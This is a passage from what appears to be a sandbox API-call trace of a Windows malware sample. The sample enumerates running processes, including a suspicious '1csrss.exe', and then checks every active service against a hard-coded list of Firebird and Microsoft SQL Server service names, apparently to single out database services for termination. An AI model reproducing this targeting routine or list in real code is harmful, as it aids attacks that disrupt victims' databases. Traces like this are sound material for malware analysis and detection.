[0316.623] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0316.624] lstrlenW (lpString="SearchUI.exe") returned 12 [0316.624] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0316.624] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0316.624] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0316.625] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0316.625] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0316.626] lstrlenW (lpString="1csrss.exe") returned 10 [0316.626] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.626] lstrlenW (lpString="svchost.exe") returned 11 [0316.626] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0316.627] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0316.627] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.628] lstrlenW (lpString="svchost.exe") returned 11 [0316.628] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0316.628] lstrlenW (lpString="consent.exe") returned 11 [0316.628] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0316.629] lstrlenW (lpString="dllhost.exe") returned 11 [0316.629] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0316.630] lstrlenW (lpString="dllhost.exe") returned 11 [0316.630] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0316.631] CloseHandle (hObject=0x404) returned 1 [0316.631] Sleep (dwMilliseconds=0x1f4) [0317.274] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc78 [0317.275] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0317.275] GetLastError () returned 0xea [0317.275] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x740b48 [0317.275] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x740b48, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x740b48, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0317.276] CloseServiceHandle (hSCObject=0x7ddc78) returned 1 [0317.276] lstrlenW (lpString="Appinfo") returned 7 [0317.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0317.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0317.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0317.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0317.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0317.277] lstrlenW (lpString="AppXSvc") returned 7 [0317.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0317.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0317.277] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0317.277] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0317.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0317.277] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0317.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0317.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0317.277] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0317.277] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0317.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0317.277] lstrlenW (lpString="Audiosrv") returned 8 [0317.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0317.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0317.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0317.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0317.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0317.277] lstrlenW (lpString="BFE") returned 3 [0317.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0317.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0317.277] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0317.277] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0317.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0317.277] lstrlenW (lpString="BITS") returned 4 [0317.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0317.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0317.278] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0317.278] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0317.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0317.278] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0317.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0317.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0317.278] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0317.278] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0317.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0317.278] lstrlenW (lpString="CDPSvc") returned 6 [0317.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0317.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0317.278] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0317.278] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0317.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0317.278] lstrlenW (lpString="ClickToRunSvc") returned 13 [0317.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0317.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0317.278] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0317.278] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0317.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0317.278] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0317.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0317.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0317.278] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0317.278] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0317.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0317.278] lstrlenW (lpString="CryptSvc") returned 8 [0317.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0317.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0317.278] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0317.278] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0317.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0317.279] lstrlenW (lpString="DcomLaunch") returned 10 [0317.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0317.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0317.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0317.279] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0317.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0317.279] lstrlenW (lpString="DeviceAssociationService") returned 24 [0317.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0317.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0317.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0317.279] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0317.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0317.279] lstrlenW (lpString="Dhcp") returned 4 [0317.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0317.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0317.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0317.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0317.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0317.279] lstrlenW (lpString="Dnscache") returned 8 [0317.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0317.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0317.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0317.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0317.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0317.279] lstrlenW (lpString="DoSvc") returned 5 [0317.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0317.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0317.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0317.279] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0317.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0317.279] lstrlenW (lpString="DPS") returned 3 [0317.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0317.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0317.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0317.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0317.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0317.280] lstrlenW (lpString="DusmSvc") returned 7 [0317.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0317.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0317.280] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0317.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0317.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0317.280] lstrlenW (lpString="EventLog") returned 8 [0317.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0317.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0317.280] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0317.280] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0317.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0317.280] lstrlenW (lpString="EventSystem") returned 11 [0317.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0317.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0317.280] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0317.280] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0317.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0317.280] lstrlenW (lpString="FontCache") returned 9 [0317.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0317.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0317.280] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0317.280] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0317.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0317.280] lstrlenW (lpString="gpsvc") returned 5 [0317.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0317.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0317.280] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0317.280] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0317.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0317.280] lstrlenW (lpString="iphlpsvc") returned 8 [0317.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0317.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0317.281] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0317.281] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0317.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0317.281] lstrlenW (lpString="KeyIso") returned 6 [0317.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0317.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0317.281] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0317.281] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0317.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0317.281] lstrlenW (lpString="LanmanServer") returned 12 [0317.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0317.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0317.281] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0317.281] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0317.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0317.281] lstrlenW (lpString="LanmanWorkstation") returned 17 [0317.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0317.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0317.281] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0317.281] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0317.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0317.281] lstrlenW (lpString="lfsvc") returned 5 [0317.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0317.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0317.281] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0317.281] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0317.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0317.281] lstrlenW (lpString="lmhosts") returned 7 [0317.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0317.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0317.281] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0317.281] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0317.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0317.282] lstrlenW (lpString="LSM") returned 3 [0317.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0317.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0317.282] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0317.282] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0317.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0317.282] lstrlenW (lpString="MapsBroker") returned 10 [0317.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0317.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0317.282] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0317.282] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0317.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0317.282] lstrlenW (lpString="MpsSvc") returned 6 [0317.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0317.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0317.282] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0317.282] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0317.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0317.282] lstrlenW (lpString="NcbService") returned 10 [0317.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0317.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0317.282] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0317.282] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0317.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0317.282] lstrlenW (lpString="netprofm") returned 8 [0317.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0317.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0317.282] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0317.282] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0317.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0317.282] lstrlenW (lpString="NgcSvc") returned 6 [0317.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0317.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0317.283] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0317.283] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0317.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0317.283] lstrlenW (lpString="NlaSvc") returned 6 [0317.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0317.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0317.283] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0317.283] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0317.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0317.283] lstrlenW (lpString="nsi") returned 3 [0317.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0317.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0317.283] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0317.283] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0317.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0317.283] lstrlenW (lpString="PcaSvc") returned 6 [0317.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0317.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0317.283] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0317.283] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0317.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0317.283] lstrlenW (lpString="PlugPlay") returned 8 [0317.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0317.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0317.283] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0317.283] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0317.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0317.283] lstrlenW (lpString="Power") returned 5 [0317.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0317.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0317.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0317.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0317.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0317.283] lstrlenW (lpString="ProfSvc") returned 7 [0317.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0317.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0317.284] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0317.284] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0317.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0317.284] lstrlenW (lpString="RpcEptMapper") returned 12 [0317.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0317.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0317.284] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0317.284] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0317.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0317.284] lstrlenW (lpString="RpcSs") returned 5 [0317.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0317.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0317.284] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0317.284] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0317.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0317.284] lstrlenW (lpString="SamSs") returned 5 [0317.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0317.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0317.284] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0317.284] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0317.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0317.284] lstrlenW (lpString="Schedule") returned 8 [0317.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0317.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0317.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0317.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0317.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0317.284] lstrlenW (lpString="SecurityHealthService") returned 21 [0317.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0317.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0317.284] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0317.284] lstrcmpiW (lpString1="mssqlserver", 